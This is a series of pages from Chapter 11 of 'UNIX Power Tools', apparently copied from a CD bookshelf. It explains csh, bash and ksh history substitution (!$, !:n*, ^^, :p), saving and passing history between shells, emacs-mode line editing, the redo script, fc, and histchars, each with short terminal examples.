11.1 The Lessons of History | Book Index | 11.3 My Favorite Is !$
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.3 My Favorite Is !$

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.2 History in a Nutshell Chapter 11
The Lessons of History 		Next: 11.4 My Favorite Is !:n*

11.3 My Favorite Is !$

When using the C shell, I use !$ so much that it's almost a single character to me. It means "take the last thing on the previous command line." It works on bash too. Since most UNIX commands have the filename last, you often need to type filenames only once, and then you can use !$ in subsequent lines. Here are some examples of where it comes in handy:

  • I get a lot of tar archives (19.5) that are compressed (24.7). To unpack them, I do the following:

    % gunzip groff.1.05.tar
% tar xvf !$
tar xvf groff.1.05.tar

    The same trick can be used for uuencoded shar files (19.2). It's also good when you've edited a file with vi, and then want to check its spelling:

    % vi fred.letter.txt
% spell !$
spell fred.letter.txt

  • You often want to move a file to another directory and then cd to that directory. The !$ sequence can also be used to refer to a directory:

    % mv grmacs.tar /usr/lib/tmac
% cd !$
cd /usr/lib/tmac

- AN

Previous: 11.2 History in a Nutshell | UNIX Power Tools | Next: 11.4 My Favorite Is !:n*
11.2 History in a Nutshell | Book Index | 11.4 My Favorite Is !:n*
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.4 My Favorite Is !:n*

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.3 My Favorite Is !$ Chapter 11
The Lessons of History 		Next: 11.5 My Favorite Is ^^

11.4 My Favorite Is !:n*

I use !$ (11.3) a lot. But my favorite bash (and csh) history substitution is !:n*, where n is a number from 0 to 9. It means "take arguments n through the last argument on the previous command line." Since I tend to use more than one argument with UNIX commands, this lets me type the arguments (usually filenames) only once. For example, to use RCS (20.14) and make an edit to article files named 1171, 6830, and 2340 for this book, I did:

% co -l 1171 6830 2340
RCS/1171,v  ->  1171
   ...
RCS/2340,v  ->  2340
revision 1.8 (locked)
done
% vi !:2*
vi 1171 6830 2340
3 files to edit
   ...
% ci -m"Changed TERM xref." !*
ci -m"Changed TERM xref." 1171 6830 2340
   ...

In the first command line (co), I typed the filenames as arguments 2, 3, and 4. In the second command line (vi), I used !:2*; that grabbed arguments 2 through the last (in this case, argument 4) from the first command line. The result was a second command line that had those three filenames as its arguments 1, 2, and 3. So, in the third command line (ci), I used !* to pick arguments 1 through the last from the previous (second) command line. (!* is shorthand for !:1*.)

You can also grab arguments from previous command lines. For example, !em:2* grabs the second through last arguments on the previous emacs command line (command line starting with "em"). There are lots more of these in article 11.7.

If those look complicated, they won't be for long. Just learn to count to the first argument you want to grab. It took me years to start using these substitutions - but they've saved me so much typing that I'm sorry I didn't get started earlier!

- JP

Previous: 11.3 My Favorite Is !$ | UNIX Power Tools | Next: 11.5 My Favorite Is ^^
11.3 My Favorite Is !$ | Book Index | 11.5 My Favorite Is ^^
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.5 My Favorite Is ^^

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.4 My Favorite Is !:n* Chapter 11
The Lessons of History 		Next: 11.6 Using !$ for Safety with Wildcards

11.5 My Favorite Is ^^

Well, maybe it's not my favorite, but it's probably the history substitution I use most often. It's especially handy if you have fumble-fingers on a strange keyboard:

% cat myflie
cat: myflie: No such file or directory
% ^li^il
cat myfile

Obviously, this doesn't save much typing for a short command, but it can sure be handy with a long one. I also use ^^ with :p (11.10) to recall an earlier command so I can change it. For example:

% !m:p
more gobbledygook.c
% ^k^k2
more gobbledygook2.c

The point is sometimes not to save typing, but to save the effort of remembering. For example, I want to print the file I looked at earlier, but don't remember the exact name...

[My keyboard can repeat characters when I'm not expecting it. I use a single ^ to delete extra characters. For example:

% lpr sources/aproggg.c
lpr: sources/aproggg.c: no such file or directory
% ^gg
lpr sources/aprog.c

You could type ^gg^, but the second caret isn't required. With a single caret, you don't type a replacement string - just the string to delete. -JP]

- TOR

Previous: 11.4 My Favorite Is !:n* | UNIX Power Tools | Next: 11.6 Using !$ for Safety with Wildcards
11.4 My Favorite Is !:n* | Book Index | 11.6 Using !$ for Safety with Wildcards
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.6 Using !$ for Safety with Wildcards

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.5 My Favorite Is ^^ Chapter 11
The Lessons of History 		Next: 11.7 History Substitutions

11.6 Using !$ for Safety with Wildcards

We all know about using ls before a wildcarded rm to make sure that we're only deleting what we want. But that doesn't really solve the problem: you can type ls a* and then mistakenly type rm s* with bad consequences - it's just a minor slip of your finger. But what will always work, if you're a csh or bash user, is:

% ls a*
a1 a2 a3
% rm !$

(ls -d a* (16.8) will make less output if any subdirectory names match the wildcard.)

Using the history mechanism to grab the previous command's arguments is a good way to prevent mistakes.

- ML

Previous: 11.5 My Favorite Is ^^ | UNIX Power Tools | Next: 11.7 History Substitutions
11.5 My Favorite Is ^^ | Book Index | 11.7 History Substitutions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.7 History Substitutions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.6 Using !$ for Safety with Wildcards Chapter 11
The Lessons of History 		Next: 11.8 Repeating a Cycle of Commands

11.7 History Substitutions

[Although most of the examples here use echo to demonstrate clearly just what is going on, you'll normally use history with other UNIX commands. -JP]

The exclamation point (!) is the C shell's default (11.15) history substitution character. (It's used in bash, too.) This allows you to recall previously entered commands and re-execute them without retyping. The number of commands saved is up to you. To set this number, put a line in your shell setup file (2.2) like this:

set history=40   ...C shell

HISTSIZE=40   ...bash, ksh

This means that the C shell will save the last 40 commands. To list out these 40 commands use:

% history

To see just the last ten commands in csh or bash, use history 10. In the C shell, you can also list out the commands in reverse with history -r.

To use the ! in a command line, you have several choices. Some of the following examples are more of a headache than they may be worth. But they are used mostly to select arguments from the command line in aliases (10.3). Here they are:

  • !! repeats the last command.

  • !: repeats the last command. This form is used if you want to add a modifier (9.6) like:

    % echo xy
xy
% !:s/xy/yx
echo yx
yx

    The second ! was left out.

  • !so repeats the last command that starts with so.

  • !?fn? repeats the last command that has fn anywhere in it. The string could be found in an argument or in the command name. This is opposed to !fn, in which !fn must be in a command name. (The last ? need not be there. Thus !?fn means the same thing.)

  • !34 executes command number 34. You can find the appropriate history number when you list your history using the history command, or by putting the history number in your prompt . (7.2)

  • !! & adds an ampersand (&) to the end of the last command, which executes it and places it into the background. You can add anything to the end of a previous command. For example:

    % cat -v foo
       ...
% !! | more
cat -v foo | more
       ...

    In this case the shell will repeat the command to be executed and run it, adding the pipe through the more (25.3) pager. Another common usage is:

    % cat -v foo
       ...
% !! > out
cat -v foo > out

    which returns the command but redirects the output into a file.

  • !:0 selects only the command name; rather than the entire command line.

    % /usr/bin/grep Ah fn1
       ...
% !:0 Bh fn2
/usr/bin/grep Bh fn2

    Note that as an operator (9.6) :0 can be appended to these history substitutions as well. For example, !!:0 will give the last command name, and a colon followed by any number will give the corresponding argument. For example:

    % cat fn fn1 fn2
       ...
% more !:3
more fn2
       ...

    gives the third argument.

  • !:2-4 gives the second through the fourth argument, or any numbers you choose:

    % echo 1 2 3 4 5
1 2 3 4 5
% echo !:2-4
echo 2 3 4
2 3 4

  • !:-3 gives zero through the third argument, or any number you wish:

    % echo 1 2 3 4
1 2 3 4
% echo !:-3
echo echo 1 2 3
echo 1 2 3

  • !^ gives the first argument of the previous command. This is the same as !:1. Remember that, just as the ^ (caret) is the beginning-of-line anchor in regular expressions (26.4), !^ gives the beginning history argument.

    % cat fn fn1 fn2
       ...
% more !^
more fn
       ...

  • !$ gives the last argument of the last command. In the same way that $ (dollar sign) is the end-of-line anchor in regular expressions, !$ gives the ending history argument. Thus:

    % cat fn
       ...
% more !$
more fn
       ...

    The new command (more) is given the last argument of the previous command.

  • !* is shorthand for the first through the last argument. This is used a lot in aliases:

    % echo 1 2 3 4 5
1 2 3 4 5
% echo !*
echo 1 2 3 4 5
1 2 3 4 5

    In an alias:

    alias vcat 'cat -v \!* | more'

    will pipe the output of cat -v (25.7) command through more. The backslash (\) has to be there to hide the history character, !, until the alias is used-see article 10.3 for more information.

  • !:2* gives the second through the last arguments:

    % echo 1 2 3 4 5
1 2 3 4 5
% echo !:2*
echo 2 3 4 5
2 3 4 5

  • !:2- like 2* but the last argument is dropped:

    % echo 1 2 3 4 5
1 2 3 4 5
% echo !:2-
echo 2 3 4
2 3 4

  • !?fn?% gives the first word found that has fn in it:

    % sort fn1 fn2 fn3
       ...
% echo !?fn?%
echo fn1
fn1

    That found the fn in fn1. You can get wilder with:

    % echo 1 2 3 4 5
1 2 3 4 5
% echo !?ec?^
echo 1
1

    That selected the command that had ec in it, and the caret (^) said to give the first argument of that command. You can also do something like:

    % echo fn fn1 fn2
fn fn1 fn2

% echo !?fn1?^ !$
echo fn fn2
fn fn2

    That cryptic command told the shell to look for a command that had fn1 in it (!?fn1?), and gave the first argument of that command (^). Then it gave the last argument (!$).

  • ^xy^yx is the shorthand substitution (11.3, 11.5) command. In the case of:

    % echo xxyyzzxx
xxyyzzxx
% ^xx^ab
echo abyyzzxx
abyyzzxx

    it replaced the characters xx with ab. This makes editing the previous command much easier.

  • !!:s/xx/ab/ is doing the same thing as the previous example, but it is using the substitute command instead of the ^. This works for any previous command, as in:

    % more afile bfile
       ...
% echo xy
xy
% !m:s/b/c/
more afile cfile

    You do not have to use the slashes (/); any character can act as a delimiter.

    % !!:s:xy:yx

    There we used the colons (:) [good when the word you're trying to edit contains a slash-JP ]. If you want to add more to the replacement, use & to "replay it" and then add on whatever you like:

    % echo xy
xy
% !!:s/xy/&yx
echo xyyx
xyyx

    The & in the replacement part said to give what the search part found, which was the xy characters.

    The search part, or left side, cannot include metacharacters (26.3). You must type the actual string you are looking for.

    Also, the example above only replaces the first occurrence of xy. To replace them all, use g:

    % echo xy xy xy xy
xy xy xy xy
% !!:s/xy/yx/
echo yx xy xy xy
yx xy xy xy
% !!:gs/xy/yx/
echo yx yx yx yx
yx yx yx yx

    The g command in this case meant do all the xys. And oddly enough, the g has to come before the s command.

    Or you could have done:

    % echo xy xy xy xy
xy xy xy xy
% !!:s/xy/yx/
echo yx xy xy xy
yx xy xy xy
% !!:g&
echo yx yx yx yx
yx yx yx yx

    In that case, we told the shell to globally (:g) replace every matched string from the last command with the last substitution (&). Without the g command, the shells would have replaced just one more xy with yx.

    [A "global" substitution works just once per word:

    % echo xyzzy
xyzzy
% !!:gs/y/p/
echo xpzzy
xpzzy

    The substitution above changed only the first y. -TC ]

- DR

Previous: 11.6 Using !$ for Safety with Wildcards | UNIX Power Tools | Next: 11.8 Repeating a Cycle of Commands
11.6 Using !$ for Safety with Wildcards | Book Index | 11.8 Repeating a Cycle of Commands
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.8 Repeating a Cycle of Commands

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.7 History Substitutions Chapter 11
The Lessons of History 		Next: 11.9 Running a Series of Commands on a File

11.8 Repeating a Cycle of Commands

The !! history substitution gives a copy of the previous command. Most people use it to re-execute the previous command line. Sometimes I want to repeat a cycle of two commands, one after the other. To do that, I just type !-2 (second-previous command) over and over:

% vi plot
   ...
% vtroff -w plot
   ...
% !-2
vi plot
   ...
% !-2
vtroff -w plot
   ...

You can cycle through three commands with !-3, four commands with !-4, and so on. The best part is that if you can count, you never have to remember what to do next. :-)

- JP

Previous: 11.7 History Substitutions | UNIX Power Tools | Next: 11.9 Running a Series of Commands on a File
11.7 History Substitutions | Book Index | 11.9 Running a Series of Commands on a File
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.9 Running a Series of Commands on a File

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.8 Repeating a Cycle of Commands Chapter 11
The Lessons of History 		Next: 11.10 Check Your History First with :p

11.9 Running a Series of Commands on a File

[There are times when history is not the best way to repeat commands. Here, Jerry gives an example where a few well-chosen aliases can make a sequence of commands, all run on the same file, even easier to execute. -TOR]

While I was writing the articles for this book, I needed to look through a set of files, one by one, and run certain commands on some of those files. I couldn't know which files would need which commands, or in what order. So I typed a few temporary aliases on the C shell command line. (I could have used shell functions (10.9) on sh-like shells.) Most of these aliases run RCS (20.14) commands, but they could run any UNIX command (compilers, debuggers, printers, and so on).

% alias h 'set f="\!*";co -p -q "$f" | grep NOTE'
% alias o 'co -l "$f"'
% alias v 'vi "$f"'
% alias i 'ci -m"Fixed title." "$f"'

The h alias stores the filename in a shell variable (6.8). Then it runs a command on that file. What's nice is that, after I use h once, I don't need to type the filename again. Other aliases get the filename from $f:

% h ch01_summary
NOTE: Shorten this paragraph:
% o
RCS/ch01_summary,v  ->  ch01_summary
revision 1.3 (locked)
done
% v
"ch01_summary" 23 lines, 1243 characters
   ...

Typing a new h command stores a new filename.

If you always want to do the same commands on a file, you can store all the commands in one alias:

% alias d 'set f="\!*"; co -l "$f" && vi "$f" && ci "$f"'
% d ch01_summary

The && (two ampersands) (44.9) means that the following command won't run unless the previous command returns a zero ("success") status. If you don't want that, use ; (semicolon) (8.5) instead of &&.

- JP

Previous: 11.8 Repeating a Cycle of Commands | UNIX Power Tools | Next: 11.10 Check Your History First with :p
11.8 Repeating a Cycle of Commands | Book Index | 11.10 Check Your History First with :p
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.10 Check Your History First with :p

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.9 Running a Series of Commands on a File Chapter 11
The Lessons of History 		Next: 11.11 Picking Up Where You Left Off

11.10 Check Your History First with :p

Here's how to be more sure of your history before you use it. First, some review of csh and bash history substitutions:

  • !/ and !fra are replaced with the most recent command lines that started with / and fra, respectively.

  • !?af? is replaced with the most recent command line that contained af anywhere on the line.

But if your memory is like mine (not very good), you might not be sure that !?af? will bring back the command you want. You can test it by adding :p to the end. The shell will print the substitution but won't execute the command line. If you like what you got, type !! to execute it. For example:

% !?af?:p
lp afile bfile cfile
% !!
lp afile bfile cfile
request id is 676

At the first prompt, the :p meant the command line was only printed. At the second prompt, I didn't use :p and the lp command was executed. The :p works with all history operators, not just with !?...?.

- JP

Previous: 11.9 Running a Series of Commands on a File | UNIX Power Tools | Next: 11.11 Picking Up Where You Left Off
11.9 Running a Series of Commands on a File | Book Index | 11.11 Picking Up Where You Left Off
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.11 Picking Up Where You Left Off

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.10 Check Your History First with :p Chapter 11
The Lessons of History 		Next: 11.12 Pass History to Another Shell

11.11 Picking Up Where You Left Off

If you want your command history to be remembered even when you log out, set the C shell's savehist shell variable (6.8) to the number of lines of history you want saved. The Korn shell and bash save history automatically; you don't need to set a variable. (If you want to change the number of lines saved by bash, set its HISTFILESIZE environment variable. In the Korn shell, the HISTSIZE variable sets the number of commands available to be recalled in your current shell as well the number saved for other shells.)

When you log out, the specified number of lines from the csh history list will be saved in a file called .history in your home directory. bash and ksh use the filename given in the HISTFILE environment variable; by default, bash calls the file .bash_history and ksh uses .sh_history.

On modern windowing systems, this isn't as trivial as it sounds. On an old-style terminal, people usually started only one main shell, so they could set the history-saving variable in their .login or .profile file and have it apply to their login shell.

However, under window systems like X or networked filesystems that share your home directory between several hosts, you have multiple shells saving into the same history file. The sections below give some possible fixes.

11.11.1 bash and ksh

Here's the basic way to give a separate history file to each Korn shell or bash: Customize your setup file (2.2) to set a different HISTFILE on each host or each window. Use names like $HOME/.sh_history.window n or ~/.bash_history.hostname to match each file to its window or host. If your setup is always the same each time you log in, that should give each window and/or host the same history it had on the last invocation. (There are related tips in articles 2.12 and 2.13.)

If you open random windows, though, you'll have a harder time automatically matching a history file to a shell the next time you log in. Cook up your own scheme.

The simplest fix is to use $$ (8.19) -which will probably expand differently in almost every shell you ever start - as a unique part of the filename. Here are two possibilities:

HISTFILE=/tmp/sh_hist.$$
HISTFILE=$HOME/.sh_hist.$$

The first example uses the system's temporary-file directory; article 21.3 explains and shows one way to clean up. If your system's /tmp is cleaned out often, you may be able to leave your history files there and let the system remove them; ask the administrator. Note that the history file may be world-readable (22.2) if your umask (22.4) isn't set to protect your files. If that matters to you, you could make the temporary files in your home directory (or some protected directory), as in the second example shown earlier. Article 3.4 shows a way to delete those files.

Two more bits of trivia:

  • The Korn shell maintains the history file constantly, adding a new line to it as soon as you run a command. This means you share history between all your current shells with the same HISTFILE name, which can be a benefit or a problem.

  • In bash, each shell process keeps its own history list in memory. History isn't written to the history file (named by the HISTFILE variable in each shell) until the shell exits.

    You can force a write with the command history -w. In the same way, if you have an existing history file (or, actually, any file full of command lines), you can read it into your current bash with history -r. Article 11.12 has another example.

11.11.2 C Shell

The C shell has only one possible filename for its automatic history file: .history. If you set the C shell variable savehist in each of your windows (e.g., by setting it in your .cshrc), they will all try to write .history at once, leading to trouble. And even if that weren't true, you get the history from every window or host, which might not be what you want.

Of course, you could set savehist manually in a single window when you thought you might be doing work you might want to pick up later. But there is another way: use the C shell's command history -h (which prints the history list without leading numbers, so it can be read back in later) and redirect the output to a file. Then use source -h to read it back into your history list when you log in.

Do you want to automate this? First, you'll need to choose a system of filenames, like ~/.history.window n or ~/.history.hostname, to match each file to its window or host. If each of your C shells is a login shell\** (2.8), [1] you can run history -h from your .logout file and source -h from your .login file. For non-login shells, automation is tougher - try this:

[1] In the X Window System (1.31), set the xterm -ls option to force a login shell.

  • Set the ignoreeof variable (3.5) to force you to leave the shell with an exit (38.4) command.

  • Set an alias for exit (10.6) that runs history -h before exiting.

  • Run source -h from your .cshrc file. Use a $?prompt test (2.9) to be sure this only runs in interactive shells.

If you choose to run history -h and source -h by hand occasionally, they will allow you the kind of control you need to write a script (11.12) that saves and restores only what you want.

- JP, TOR

Previous: 11.10 Check Your History First with :p | UNIX Power Tools | Next: 11.12 Pass History to Another Shell
11.10 Check Your History First with :p | Book Index | 11.12 Pass History to Another Shell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.12 Pass History to Another Shell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.11 Picking Up Where You Left Off Chapter 11
The Lessons of History 		Next: 11.13 Shell Command-Line Editing

11.12 Pass History to Another Shell

The C shell, Korn shell, and bash automatically save a history of the commands you type. You can add your own commands to the csh and bash history lists without retyping them. Why would you do that?

  • You might have a set of commands that you want to be able to recall and reuse every time you log in. This can be more convenient than aliases because you don't have to think of names for the aliases. It's handier than a shell script if you need to do a series of commands but they aren't always in the same order.

  • You might have several shells running (say, in several windows) and want to pass the history from one shell to another shell (11.11).

Here's an example. Use the csh command history -h, or the bash command history -w, to save the history from a shell to a file. Edit the file to take out commands you don't want:

C shell   bash

% mail -s "My report" bigboss   $ mail -s "My report" bigboss
    ...       ...
% history -h > history.std   $ history -w history.std
% vi history.std   $ vi history.std
    ...Clean up history...       ...Clean up history...

Read that file into another shell's history list with the csh command source -h or the bash command history -r:

C shell   bash

% source -h history.std   $ history -r history.std
% !ma   $ !ma
mail -s "My report" bigboss   mail -s "My report" bigboss

Of course, you can also use bash interactive command-line editing (11.13) on the saved commands.

- JP

Previous: 11.11 Picking Up Where You Left Off | UNIX Power Tools | Next: 11.13 Shell Command-Line Editing
11.11 Picking Up Where You Left Off | Book Index | 11.13 Shell Command-Line Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.13 Shell Command-Line Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.12 Pass History to Another Shell Chapter 11
The Lessons of History 		Next: 11.14 More Ways to Do Interactive History Editing

11.13 Shell Command-Line Editing

[This article was written for the Korn Shell. It also applies to bash and tcsh, though there are some differences. Check your shell's manpage. -JP]

If you make a typing mistake in your shell command line and press RETURN, it's gone. After you get the pesky error message, you'll have to type the whole thing in again - unless you happen to be using the C shell and happen to remember its Byzantine "history" commands (11.2). If you use the Korn shell, you may know that it gives you a vi-like editing capability; if you've actually tried this, you probably agree that vi makes a lousy command-line editor. [I don't agree. :-) If you know vi, hit ESC on a command line to go to vi command mode; a or i takes you to input mode, as always. Hit RETURN from either mode to execute a command line - or CTRL-c to cancel it. -JP ]

However, fewer people know that the Korn shell has another editing mode, one that emulates the Emacs (32.1) editor. The emacs mode editing commands act like a natural extension to traditional, simple shell editing commands (like Delete or Backspace for character erase), so even if you aren't familiar with the emacs editor, you should find emacs mode useful. To use emacs mode, put this line in your .profile:

set -o emacs

We'll cover only the most useful emacs mode commands here. For a more complete description, see O'Reilly & Associates' Learning the Korn Shell, by Bill Rosenblatt.

Emacs mode figures out what your character-erase key (5.9) is and lets you use it in the same way. In addition, it gives you the basic commands for editing a line listed in Table 11.1.

Table 11.1: Korn Shell Emacs Mode Line Editing Commands
Command | Function
CTRL-b | Move backward one character (without deleting).
CTRL-f | Move forward one character.
CTRL-d | Delete one character forward.
CTRL-z | Move to beginning of line.
CTRL-e | Move to end of line.
CTRL-k | Delete ("kill") forward to end of line.
CTRL-w | Delete ("wipe") backward to beginning of line.
CTRL-y | Retrieve ("yank") last deleted item.
CTRL-c | Delete entire line.

In addition, emacs mode maintains a history file that enables you to recall previous commands. The commands in Table 11.2 are the most important of those that let you navigate the history file.

Table 11.2: Korn Shell Emacs Mode History Commands
Command | Function
CTRL-p | Go to previous command.
CTRL-n | Go to next command.
CTRL-rstring | Search backward for command containing string.

The first of these is the most useful by far - it's the "I made a mistake, so I'll go back and fix it" key. The search capability lets you bring back specific commands you may have typed awhile ago without having to go through the history file line by line with CTRL-p. Just enter CTRL-r followed by a search string and RETURN, and the Korn shell will bring back the most recent command that contains the search string (or beep at you if it finds no match). Assuming it is the command you want, you would then press RETURN again to run the command. If you begin your search string with a caret (^), it will only match commands that begin with the search string; this will be familiar behavior to users of such UNIX tools as grep, sed, and awk.

Another extremely useful feature of emacs mode is the filename completion facility, which should be familiar to C shell experts as well as Emacs users (see article 9.8). Emacs mode supports two completion commands, the most useful of which is ESC ESC (the Escape key pressed twice). If you type in a word and press ESC ESC, the shell will search for a filename that begins with what you typed and try to finish it. If there is only one filename that begins with your word, the shell will complete the name. If there is more than one, it will only complete out as far as it can without having to make a choice.

For example, if your directory contained the file program.c and you typed pro followed by ESC ESC, the shell would automatically complete the filename and leave you an extra space. But if your directory also contained the file program.o, the shell would only complete out to program. and let you complete the filename yourself.

[Another way to do history editing is with your own editor: the fc command (11.14). -JP ]

- BR

Previous: 11.12 Pass History to Another Shell | UNIX Power Tools | Next: 11.14 More Ways to Do Interactive History Editing
11.12 Pass History to Another Shell | Book Index | 11.14 More Ways to Do Interactive History Editing
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.14 More Ways to Do Interactive History Editing

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.13 Shell Command-Line Editing Chapter 11
The Lessons of History 		Next: 11.15 Changing C Shell History Characters with histchars

11.14 More Ways to Do Interactive History Editing

tcsh (8.3) is a version of csh that provides history editing (among other things). If you don't want to switch to tcsh, you can simulate history editing using redo. If you're using bash or ksh, you probably already know about your shell's editing - but you may not know about its fc command.

11.14.1 In the C Shell: redo

redo is a C shell script that is run by being sourced (44.23) into the current shell using an alias. The original version was posted to Usenet in the 1980s, author unknown. The version shown here was reposted in 1987 by Dave Patterson. The alias puts you in an ex open-mode (30.36) editing buffer, a comfortable environment for vi users. You can browse through the previous 22 commands and press RETURN when you want to execute the current line. Before executing, you can edit the commands as you would in vi. You can even search for strings using /; just remember to press ESC instead of RETURN after the search string.

To use redo, first install it read-only with no execute permission (22.2), and then create an alias with the script's absolute pathname (14.2) to execute it:

alias r source ~/.lib/redo

When you run the alias, it reads a set of commands from the sourceable script file (10.5).

Here's the redo script:

echo...33'
map

tail

!...

history -h 22 >! /tmp/redo.$$

# Put CR in $c[1] and ESC in $c[2]:
set c=(`echo "m e" | tr me '\015\033'`)
# Make CR map to :wq! and start ex quietly at 2nd to last line in open mode.
(setenv EXINIT "map $c[1] :.wq\!$c[2]|map! $c[1] ${c[2]}:.wq\!$c[2]";\
   ex '+$-1 open' /tmp/redo.$$)
tail -1 /tmp/redo.$$ >! /tmp/cmd.$$

# Insert into history without executing.
source -h /tmp/cmd.$$

# Clear out temporaries.
/bin/rm -f /tmp/{cmd,redo}.$$
unset c

# If thing chosen to redo is the redo alias itself then DON'T redo it.
if (!-2:0 != !!:0) !!

Type r to invoke the alias. Then use cursor motion keys (jk) to get to the line you want to edit. Edit the line (remember that you're in the open mode (30.36) of ex). When you're done, press RETURN. (Don't type ZZ or q.)

11.14.2 In ksh and bash: fc

ksh and bash have a built-in command called fc (for "fix command"). It's like redo, but more powerful. We'll cover the basics here; check your shell's manpage or its Nutshell Handbook for details.

To see a list of your previous commands, use the option -l (lowercase L, for "list"):

$ fc -l
   ...
19      ls -F
20      less expn.c
21      vi $_
22      make
23      expn info@ora.com
24      fc -l

To get a shorter list, give fc the first number or name you want to list. For instance, fc -l vi or fc -l 21 would give the last four lines above.

fc can call a UNIX editor (vi, emacs, pico, etc.) to edit one or more of the previous commands. You can name an editor with the -e option each time you use fc, but it's probably easier to store the editor in the FCEDIT shell variable (in your .profile or .bashrc files (2.2)).

To edit the commands above, between vi and expn, you would type fc v e or fc 21 23. Your editor will start with the three command lines in it. You can make any changes you want: add commands, rearrange them, and so on. When you exit the editor, the commands you saved with your editor will be executed. If you change your mind and don't want to execute anything, just delete all lines in your editor before you save - or replace them with a dummy command like echo hi.

- LM, JP

Previous: 11.13 Shell Command-Line Editing | UNIX Power Tools | Next: 11.15 Changing C Shell History Characters with histchars
11.13 Shell Command-Line Editing | Book Index | 11.15 Changing C Shell History Characters with histchars
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.15 Changing C Shell History Characters with histchars

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.14 More Ways to Do Interactive History Editing Chapter 11
The Lessons of History 		Next: 11.16 Instead of Changing History Characters

11.15 Changing C Shell History Characters with histchars

The existence of special characters (particularly !) can be a pain; you may often need to type commands that have exclamation points in them, and occasionally need commands with carets (^). These get the C shell confused unless you "quote" them properly. If you use these special characters often, you can choose different ones by setting the histchars variable. histchars is a two-character string; the first character replaces the exclamation point (the "history" character), and the second character replaces the caret (the "modification" character (11.5)). For example:

% set histchars='@#'
% ls file*
file1   file2   file3
% @@   Repeat previous command (was !!)
ls file*
file1   file2   file3
% #file#data#   Edit previous command (was ^file^data^)
ls data*
data4   data5

An obvious point: you can set histchars to any characters you like, but it's a good idea to choose characters that you aren't likely to use often on command lines. Two good choices might be # (hash mark) and , (comma). [2]

[2] In the C shell, # is a comment character (44.2) only in non-interactive shells. Using it as a history character doesn't conflict because history isn't enabled in non-interactive shells.

- ML

Previous: 11.14 More Ways to Do Interactive History Editing | UNIX Power Tools | Next: 11.16 Instead of Changing History Characters
11.14 More Ways to Do Interactive History Editing | Book Index | 11.16 Instead of Changing History Characters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 11] 11.16 Instead of Changing History Characters

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 11.15 Changing C Shell History Characters with histchars Chapter 11
The Lessons of History 		Next: 12. Job Control

11.16 Instead of Changing History Characters

If you need to use ! (or your current history character) for a command (most often, a uucp or mail (1.33) command), you can type a backslash (\) before each history character. You can also drop into the Bourne shell quickly (assuming that you aren't on a system that has replaced the real Bourne shell with bash). Either of these are probably easier than changing histchars. For example:

% mail ora\!ishtar\!sally < file1Quote the !s
% sh   Start the Bourne shell
$ mail ora!ishtar!sally < file1! not special here
$ exit   Quit the Bourne shell
%   And back to the C shell

The original Bourne shell doesn't have any kind of history substitution, so ! doesn't mean anything special; it's just a regular character.

By the way, if you have a window system, you can probably copy and paste the command line instead of using shell history.

- ML

Previous: 11.15 Changing C Shell History Characters with histchars | UNIX Power Tools | Next: 12. Job Control
11.15 Changing C Shell History Characters with histchars | Book Index | 12. Job Control
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 12] Job Control

